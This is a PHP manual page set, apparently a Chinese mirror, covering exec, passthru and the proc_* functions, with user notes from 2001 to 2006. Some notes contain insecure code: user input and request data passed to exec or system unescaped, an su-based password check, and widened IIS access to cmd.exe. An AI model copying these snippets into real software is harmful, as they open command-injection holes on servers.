18-Jun-2003 03:00
After searching the web for some time, I finally found out why I was getting those Unable to pork warnings. I try and still use the
"exec("cmd /c [command]", $array);"

but in Windows XP using this command is not enough. You have to enable the IUSR_xxx user to read both cmd.exe and the file you want to execute. Where xxx is replaced by your computername.
Since Simple File Sharing by default is enabled in WindowsXP you cannot give the IUSR_xxx user access to cmd.exe without doing it in a dos-command-promt.

So open up cmd.exe: Start -> Run -> cmd

use the calcs command to edit the access rights for the files.

e.g.
C:\WINDOWS\system32>cacls cmd.exe /E /G CYPRES\IUSR_CYPRES:R

since CYPRES is my computername, this is the name I will use. When you do the command replace CYPRES with your computer name.

And thats it. Sorry for the long note, but I thought others might find it usefull... ;)
matt at nexxmedia dot com
12-Jun-2003 04:38
[ Editor's note: When passing multiple args in a URL like this, be sure to enclose the URL in quotes otherwise the & will be interpreted as a detachment flag and the rest of the command will be truncated. ]

The lynx browser can be used as simple way of executing a script from a remote location without waiting for it to complete:

$command = "/usr/bin/lynx -dump https://www.anotherserver.com?var=blah >/dev/null &";
exec($command);
nop at netissat dot bg
11-Apr-2003 12:49
SESSIONS + EXEC

>From: karl at cactuslab dot com
>22-Oct-2002 02:27
>Regarding the question from mightye at mightye dot org about exec leaving >programs running in the background causing PHP to lock up - at least for >your current session.
>
>I think this is due to the locking of session data? Try adding a >session_write_close() before your exec and see if that fixes it. Fixed it for me.

It seems that this is the right solution. ;]
I tried everything including registering new session(NEW SESSID) and destroyng the old one but this includes much more code and does not seem clean to me ...

doing session_write_close(); before exec solves the problem
nice end easy :)

-- NOP
marc at thewebguys dot com dot au
26-Feb-2003 11:51
I wrote a simple ping user function, useful for automatically determining wether to show high bandwidth content or calculating download times.

function PingUser() {
  global $REMOTE_ADDR;
  return ereg_replace(" ms","",end(explode("/",exec("ping -q -c 1 $REMOTE_ADDR"))));
  }

It returns a number representing the milli seconds it took to send and receive packets from the user.
iceburn at dangerzone dot c o m
10-Sep-2002 08:20
This seems to work for me on win2k server w/ iis 5  w/ php 4.2.2....

<?php
if(getenv("OS")!="Windows_NT")
 {
  echo "This script runs only under Windows NT";
 }

 $tmp = exec("usrstat.exe Domain", $results);

foreach ($ping_results as $row) echo $row . "<br>";
 echo "done";
?>

For those that don't know what usrstat is, it's a program that is the admin pack for win2k that lists users in a domain and thier last logon time.  I used it as the example to show that arguments can be passed (the domain).

The one "gotcha" is that usrstat.exe must be in the system path...ie if you are at the server w/ a command window, anything you can type w/o typing in a path, works.  Try it with ping, since that should be in system32 for just about everyone...

I've tried things like:
exec("c:\temp\usrstatexe...
exec("cmd /c c:\temp\usrstat.exe...

but can't seem to get anywhere with those...

even putting the exe on a shared drive with identical paths for the client and server to the exe doesn't work (don't know why that would fix it, but was just trying things...)
ronperrella at NOSPAM dot hotmail dot com
07-Aug-2002 02:04
I ran into the problem of not being able to set environment variables for my kornshell scripts. In other words, I could not use putenv() (at least to my understanding).

The solution I used was to write a script on the fly, then execute that script using exec().

$prgfile = tempnam("/tmp", "SH");
chmod($prgfile, 0755);
$fp = fopen($prgfile, "w");
fwrite($fp, "#!/bin/ksh\n");
fwrite($fp, "export MYENV=MYVALUE\n");
fwrite($fp, "ls -l\n"); // or whatever you wanna run
fclose($fp);
exec($prgfile, $output, $rc);

then delete the temp file (I keep it around for debugging.)
mightye at mightye dot org
30-Jul-2002 03:32
PHP pages will still hang waiting on exec()'d processes to finish before the server sends eof to the browser, at least with php4.1.2 on apache 1.3.24.  I'm trying to create a web-based interface to a MP3 player using mpg123.  I exec("mpg123 -v \"$HTTP_GET_VARS[item]\" > /tmp/mpg123status 2>&1 &");, and the rest of my script executes fine, but at the exit(); or end of the script, the browser just sits there holding its page until the mpg123 status either finishes on its own, or is terminated.  As under my setup, that means no further requests will be fulfilled to the php script that is still hanging, this becomes a problem.

I haven't been able to identify a means to allow the script to terminate, yet allow the sub process (mpg123) to continue, has anyone had luck obtaining this sort of result?  Halting the script via stop in the browser, or terminating on the command line allows the mpg123 process to continue, and further requests for my php script to be honored.
kop at meme dot com
08-Jul-2002 05:19
Nowhere is it mentioned that exec() strips off the end-of-line character(s) from the command's output.  This is true both in the return value and in the values assigned to the array in the second argument.

This makes it impossible to tell if the command output ends in a end-of-line character(s).
me at jcornelius dot com
16-May-2002 01:06
Note that when in 'Safe Mode' you must have the script or program you are trying to execute in the 'safe_mode_exec_dir'. You can find out what this directory is by using phpinfo().
hans at internit dot NO_SPAM dot com
02-Feb-2002 06:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!
11-Jan-2002 09:39
When using escapeshellcmd and the stderr to stdout redirect '2>&1'. Append '2>&1' to the call to escapeshellcmd not within it, otherwise the returning string is empty rather than containing the error.

$cmd = escapeshellcmd("...")." 2>&1";
$string = exec($cmd,$array,$integer);
Yannis dot BRES at cma dot inria dot fr
08-Sep-2001 03:30
It seems that exec first launches a shell (command processor) under Linux, but not under Windows.  Therefore, redirection tricks like 2>&1 do not work under Windows.  In order to force the launching of an executable through a command processor under Windows, and be able to use redirection, prepend getenv( "COMSPEC" ) . " /C " to the name of your executable.
ryan at imagesmith dot com
17-Jul-2001 06:47
Some sites provide an htpasswd program that doesn't allow the -b switch (i.e. batch adding).
  So I've used this to add a user.  (This is all one line of code.  Sorry it looks so intense here).

  system("perl -e \"print \\\"$UserName:\\\" . crypt('$Password', join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]) . \\\"\\n\\\";\" >> $path_to_pass_file");
ary at communicationfactory dot com
14-Jun-2001 07:10
Remember to use unix exit(o); on unix calls that use Unix redirection operator ">" . This was a real problem for me, I was not getting a response back in the following code until I added exit(0);

<?PHP
function myspawn()
{
 $command="/usr/local/bin/mybinary infile.txt > outfile.tx2";
 exec($command);
 ## nothing worked for me until I added this next line.
 exec("exit(0)");
}
?>
<html>
<head>
<title>New Page 1</title>
</head>
<body>
Creating output file now
<?  myspawn();?>
</body>
</html>
auriane at bigfoot dot com
13-May-2001 05:10
If you want to use the exec command to change passwords in a .htaccess file, it's possible, but do not use the direct exec command, that didn't work for me.

What works perfectly; (on Linux)
$Htuserfile    = "/home/userssite";
$Pathhtpasswd = "/usr/local/apache/bin/htpasswd -b";
$test=shell_exec($Pathhtpasswd." ".$Htuserfile." ".strtolower($Login_Name)." $Password");
pkshifted at slackin dot com
08-Mar-2001 03:24
If you want to use exec() to start a program in the background, and aren't worried about load (because the program can only run one instance or you will manually stop it before starting it again) you can use either of these methods to leave it running in the background indefinately.

Add set_time_limit(some ridiculously huge number)  to your script, cause even though it won't stop it, it does seem to allow it to run longer than usual.
...or...
exec("nohup *command* 1>/dev/null/ 2>&1 &");

Thanks to the guys on the php list for helping me solve this unusual(?) problem.
bens_nospam at benjamindsmith dot com
16-Feb-2001 05:19
ON A LINUX SYSTEM:

Note that the exec() function calls the program DIRECTLY without any intermediate shell. Compare this with the backtick operator that executes a shell which then calls the program you ask for.

This makes the most difference when you are trying to pass complex variables to the program you are trying to execute - the shell can interpret your parameters before passing them thru to the program being called - making a dog's breakfast of your input stream.

Remember: exec() calls the program DIRECTLY - the backtick (and, I THINK, the system() call) execute the program thru a shell.

-Ben
add a note add a note

后退 | 起点 | 前进
escapeshellcmd | 上一级 | passthru


passthru

(PHP 3, PHP 4, PHP 5)

passthru -- Execute an external program and display raw output

说明

void passthru ( string command [, int &return_var] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

参数

command

The command that will be executed.

return_var

If the return_var argument is present, the return status of the Unix command will be placed here.

注释

警告

如果想允许用户输入的数据被传入本函数，则应使用 escapeshellarg() 或 escapeshellcmd() 函数来确保用户不能欺骗系统从而执行任意命令。

注: 如果用本函数启动一个程序并希望保持在后台运行，必须确保该程序的输出被重定向到一个文件或者其它输出流去，否则 PHP 会在程序执行结束前挂起。

注: 在打开了安全模式时，只能执行在 safe_mode_exec_dir 之内的程序。为实用起见目前不能在指向程序的路径中包含 .. 成分。

警告

在打开了安全模式时，初始命令字符串之后的所有词都被看成一个单一的参数。因此，echo y | echo x 就成了 echo "y | echo x"。

参见

exec()
system()
popen()
escapeshellcmd()
backtick operator

add a note add a note User Contributed Notes
nuker at list dot ru
03-Jan-2006 09:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
       exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
       "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
       $proxyenable,$proxyenable_status);

       exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
       "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
       $proxyserver);

       if($proxyenable_status!=0)
       return false; #Can't access the registry! Very very bad...
       else
       {
       $enabled=substr($proxyenable[4],-1,1);
       if($enabled==0)
       return false;
       else
       {
       $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
       $proxyserver[4]);

       if(ereg("[\=\;]",$proxy))
       {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
       }
       else
       return $proxy;
       }

       }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
echo $proxy;
?>
Stuart Eve
09-Dec-2005 03:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com
13-Oct-2005 06:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
waldow at NOSPAM dot chem dot plu dot edu
22-Sep-2005 10:59
When upgrading my redhat server to enterprise 4, selinux was turned on. This caused one of my php scripts (that uses passthru) to fail.  After some nice help from redhat, I was able to get the script running again. Here is what helped me.

If you get permission errors (in /var/log/httpd/error_log) which seem to be from selinux (and not standard chmod or chown issues), make sure that the folder you are using is not in /tmp and has the selinux context of httpd_sys_script_rw_t as can be set as follows:

chcon -t httpd_sys_script_rw_t folder_name

Hope this helps someone...
stuartc1 at NOSPAM dot hotmail dot com
09-Aug-2005 10:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru
24-Jun-2005 04:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za
09-Mar-2005 03:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org
03-Mar-2005 06:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada
15-Dec-2004 12:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com
27-May-2004 11:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com
05-Sep-2003 02:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu
04-Jun-2003 11:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu
30-Jan-2002 11:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
mike at ftl dot com
23-Jan-2002 07:29
In reference to aborted scripts hanging. You can set 'ignore_user_abort(true);' in your script and it does exactly that.

 It causes the browser to stop loading but the script will continue.
andreas dot hochsteger at oeamtc dot at
03-Oct-2001 10:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl
21-Jun-2001 08:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com
15-Feb-2001 09:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------
add a note add a note

后退 | 起点 | 前进
exec | 上一级 | proc_close


proc_close

(PHP 4 >= 4.3.0, PHP 5)

proc_close -- Close a process opened by proc_open() and return the exit code of that process.

说明

int proc_close ( resource process )

proc_close() is similar to pclose() except that it only works on processes opened by proc_open(). proc_close() waits for the process to terminate, and returns its exit code. If you have open pipes to that process, you should fclose() them prior to calling this function in order to avoid a deadlock - the child process may not be able to exit while the pipes are open.

参数

process

The proc_open() resource that will be closed.

add a note add a note User Contributed Notes
e-t172 at e-t172 dot net
19-Oct-2005 01:59
Just an improvement of my precedent function :

<?php
function proc_close_nobug($proc)
{
   $status = proc_get_status($proc);
   exec('kill '.$status['pid'].' 2>/dev/null >&- >/dev/null');
   proc_close($proc);
}
?>

In fact, proc_close() works when called after "kill". This is useful because it doesn't generate "defunct processes" as the precedent version.
oohay251 at yahoo dot com
15-Sep-2005 10:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
   );
   $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
   fclose($pipes[0]);
   $output = array();
   while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
   fclose($pipes[1]);
   while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
   fclose($pipes[2]);
   $exit=proc_close($proc);
   print_r($output);
   echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
   );
   $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
   fclose($pipes[0]);
   fclose($pipes[1]);
   fclose($pipes[2]);
   $exit=proc_close($proc);
   echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
   );
   $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
   fclose($pipes[0]);
   $output = array();
   //comment next line to get correct exicode
   while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
   fclose($pipes[1]);
   while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
   fclose($pipes[2]);
   if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
   fclose($pipes[3]);
   proc_close($proc);
   print_r($output);
?>

Outputs on my system:

Array
(
   [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
   [1] =>
   [2] =>
)
exitcode -1

exitcode 1

Array
(
   [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
   [1] =>
   [2] =>
   [exitcode] => 0
)
sergey1369 at narod dot ru
29-Aug-2003 06:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);
add a note add a note

后退 | 起点 | 前进
passthru | 上一级 | proc_get_status


proc_get_status

(PHP 5)

proc_get_status -- Get information about a process opened by proc_open()

说明

array proc_get_status ( resource process )

proc_get_status() fetches data about a process opened using proc_open().

参数

process

The proc_open() resource that will be evaluated.

返回值

An array of collected information on success, and FALSE on failure. The returned array contains the following elements:

element | type | description
command | string | The command string that was passed to proc_open()
pid | int | process id
running | bool | TRUE if the process is still running, FALSE if it has terminated
signaled | bool | TRUE if the child process has been terminated by an uncaught signal. Always set to FALSE on Windows.
stopped | bool | TRUE if the child process has been stopped by a signal. Always set to FALSE on Windows.
exitcode | int | the exit code returned by the process (which is only meaningful if running is FALSE)
termsig | int | the number of the signal that caused the child process to terminate its execution (only meaningful if signaled is TRUE)
stopsig | int | the number of the signal that caused the child process to stop its execution (only meaningful if stopped is TRUE)

参见

proc_open()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
proc_close | 上一级 | proc_nice


proc_nice

(PHP 5)

proc_nice -- Change the priority of the current process

说明

bool proc_nice ( int increment )

proc_nice() changes the priority of the current process by the amount specified in increment. A positive increment will lower the priority of the current process, whereas a negative increment will raise the priority.

proc_nice() is not related to proc_open() and its associated functions in any way.

参数

increment

The increment value of the priority change.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。 If an error occurs, like the user lacks permission to change the priority, an error of level E_WARNING is also generated.

注释

Availability: proc_nice() will only exist if your system has 'nice' capabilities. 'nice' conforms to: SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3. This means that proc_nice() is not available on Windows.

add a note add a note User Contributed Notes
php at riggers dot me dot uk
13-Aug-2004 07:20
Just an addition to the previous note re: exec('renice...'). The exit_func() will not set the priority back to normal (0) (at least on linux), unless the user that the webserver is running as is a super user (bad idea). You can decrease the priority of the running task, but not increase it again. See man page for renice.

To prevent subsequent requests running at the lower priority I called apache_child_terminate() on shutdown.
griph at dd dot chalmer dot se
11-Nov-2003 06:34
If you don't have PHP5 and needs to nice your process this works good.

<?php

function proc_nice($priority) {
  exec("renice +$priority ".getmypid());
}

//You also need a shutdown function if you don't want to leave your http deamons with a modified priority
function exit_func(){
  // Restore priority
  proc_nice(0);
}

register_shutdown_function('exit_func');
?>
add a note add a note

后退 | 起点 | 前进
proc_get_status | 上一级 | proc_open


proc_open

(PHP 4 >= 4.3.0, PHP 5)

proc_open -- Execute a command and open file pointers for input/output

说明

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

proc_open() is similar to popen() but provides a much greater degree of control over the program execution.

PHP 5 introduces pty support for systems with Unix98 ptys. This allows your script to interact with applications that expect to be talking to a terminal. A pty works like a pipe, but is bi-directional, so there is no need to specify a read/write mode. The example below shows how to use a pty; note that you don't have to have all descriptors talking to a pty. Also note that only one pty is created, even though pty is specified 3 times. In a future version of PHP, it might be possible to do more than just read and write to the pty.

参数

cmd

The command to execute

descriptorspec

An indexed array where the key represents the descriptor number and the value represents how PHP will pass that descriptor to the child process. 0 is stdin, 1 is stdout, while 2 is stderr.

The currently supported pipe types are file, pipe and pty.

The file descriptor numbers are not limited to 0, 1 and 2 - you may specify any valid file descriptor number and it will be passed to the child process. This allows your script to interoperate with other scripts that run as "co-processes". In particular, this is useful for passing passphrases to programs like PGP, GPG and openssl in a more secure manner. It is also useful for reading status information provided by those programs on auxiliary file descriptors.

pipes

Will be set to an indexed array of file pointers that correspond to PHP's end of any pipes that are created.

cwd

The initial working dir for the command. This must be an absolute directory path, or NULL if you want to use the default value (the working dir of the current PHP process)

env

An array with the environment variables for the command that will be run, or NULL to use the same environment as the current PHP process

other_options

Allows you to specify additional options. Currently only suppress_errors is supported, which suppresses errors generated by this function when it's set to TRUE

返回值

Returns a resource representing the process, which should be freed using proc_close() when you are finished with it. On failure returns FALSE.

更新日志

版本 | 说明
5.0.0. | Added the cwd, env and other_options parameters. Added support for Unix98 ptys.

范例

例子 1. A proc_open() example

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

上例的输出类似于：

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

例子 2. ptys usage

<?php
// Create a pseudo terminal for the child process
$descriptorspec = array(
   0 => array("pty"),
   1 => array("pty"),
   2 => array("pty")
);
$process = proc_open("cvs -d:pserver:cvsread@cvs.php.net:/repository login", $descriptorspec, $pipes);
if (is_resource($process)) {
   // work with it here
}
?>

注释

注: Windows compatibility: Descriptors beyond 2 (stderr) are made available to the child process as inheritable handles, but since the Windows architecture does not associate file descriptor numbers with low-level handles, the child process does not (yet) have a means of accessing those handles. Stdin, stdout and stderr work as expected.

注: If you only need a uni-directional (one-way) process pipe, use popen() instead, as it is much easier to use.

参见

popen()
exec()
system()
passthru()
stream_select()
The backtick operator

add a note add a note User Contributed Notes
php dot net_manual at reimwerker dot de
03-Jun-2006 07:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
richard at 2006 dot atterer dot net
08-Apr-2006 03:14
[Again, please delete my previous comment, the code still contained bugs (sorry). This version now includes Frederick Leitner's fix from below, and also fixes another bug: If an empty file was piped into the process, the loop would hang indefinitely.]

The following code works for piping large amounts of data through a filtering program. I find it very weird that such a lot of code is needed for this task... On entry, $stdin contains the standard input for the program. Tested on Debian Linux with PHP 5.1.2.

  $descriptorSpec = array(0 => array("pipe", "r"),
                           1 => array('pipe', 'w'),
                           2 => array('pipe', 'w'));
  $process = proc_open($command, $descriptorSpec, $pipes);
  $txOff = 0; $txLen = strlen($stdin);
  $stdout = ''; $stdoutDone = FALSE;
  $stderr = ''; $stderrDone = FALSE;
  stream_set_blocking($pipes[0], 0); // Make stdin/stdout/stderr non-blocking
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  if ($txLen == 0) fclose($pipes[0]);
  while (TRUE) {
   $rx = array(); // The program's stdout/stderr
   if (!$stdoutDone) $rx[] = $pipes[1];
   if (!$stderrDone) $rx[] = $pipes[2];
   $tx = array(); // The program's stdin
   if ($txOff < $txLen) $tx[] = $pipes[0];
   stream_select($rx, $tx, $ex = NULL, NULL, NULL); // Block til r/w possible
   if (!empty($tx)) {
     $txRet = fwrite($pipes[0], substr($stdin, $txOff, 8192));
     if ($txRet !== FALSE) $txOff += $txRet;
     if ($txOff >= $txLen) fclose($pipes[0]);
   }
   foreach ($rx as $r) {
     if ($r == $pipes[1]) {
       $stdout .= fread($pipes[1], 8192);
       if (feof($pipes[1])) { fclose($pipes[1]); $stdoutDone = TRUE; }
     } else if ($r == $pipes[2]) {
       $stderr .= fread($pipes[2], 8192);
       if (feof($pipes[2])) { fclose($pipes[2]); $stderrDone = TRUE; }
     }
   }
   if (!is_resource($process)) break;
   if ($txOff >= $txLen && $stdoutDone && $stderrDone) break;
  }
  $returnValue = proc_close($process);
Kevin Barr
07-Mar-2006 04:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
   if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
   else return FALSE;
}
andrew dot budd at adsciengineering dot com
29-Dec-2005 01:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
Enrico
25-Nov-2005 12:48
If you want pass an array to $env, you MUST serialize this!
Bad Example:
$env = array('pippo' => 'Hello', 'request' =>$_REQUEST);
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);
fwrite($pipes[0], '<?php print_r($_ENV[request]); ?>');
A result is an empty array;

Good Example:
$env = array('pippo' => 'Hello', 'request' =>serialize($_REQUEST));
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);
fwrite($pipes[0], '<?php print_r(unserialize($_ENV[request])); ?>');

A result is good array!

Bye,

Enrico
mendoza at pvv dot ntnu dot no
22-Oct-2005 01:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
   // $pipes now looks like this:
   // 0 => writeable handle connected to child stdin
   // 1 => readable handle connected to child stdout
   // Any error output will be appended to /tmp/error-output.txt

   fwrite($pipes[0],$password);
   fclose($pipes[0]);
   fclose($pipes[1]);

   // It is important that you close any pipes before calling
   // proc_close in order to avoid a deadlock
   $return_value = proc_close($process);

   return !$return_value;
  }
}
?>
picaune at hotmail dot com
17-Oct-2005 07:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Chapman Flack
05-Oct-2005 03:34
One can learn from the source code in ext/standard/exec.c that the right-hand side of a descriptor assignment does not have to be an array ('file', 'pipe', or 'pty') - it can also be an existing open stream.

<?php
$p = proc_open('myfilter', array( 0 => $infile, ...), $pipes);
?>

